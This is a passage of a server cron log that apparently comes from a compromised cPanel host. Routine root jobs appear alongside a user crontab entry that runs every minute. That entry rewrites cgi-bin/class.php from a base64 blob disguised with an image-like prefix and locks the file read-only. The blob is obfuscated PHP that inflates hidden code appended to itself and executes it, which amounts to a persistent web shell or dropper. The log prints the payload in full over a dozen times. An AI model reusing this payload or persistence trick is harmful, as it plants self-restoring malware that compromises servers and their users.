&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:49:01 server CROND[9947]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:50:01 server CROND[10809]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 17:50:01 server CROND[10811]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 17:50:01 server CROND[10814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:50:01 server CROND[10813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:50:01 server CROND[10812]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:51:01 server CROND[11838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:52:01 server CROND[12789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:53:01 server CROND[13777]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:54:01 server CROND[14716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:55:01 server CROND[15665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:55:01 server CROND[15666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:55:01 server CROND[15667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:56:01 server CROND[16480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:57:01 server CROND[16721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:57:01 server CROND[16722]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 17:58:01 server CROND[17406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:59:01 server CROND[18277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:00:01 server CROND[19240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 18:00:01 server CROND[19244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:00:01 server CROND[19248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:00:01 server CROND[19247]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 18:00:01 server CROND[19245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
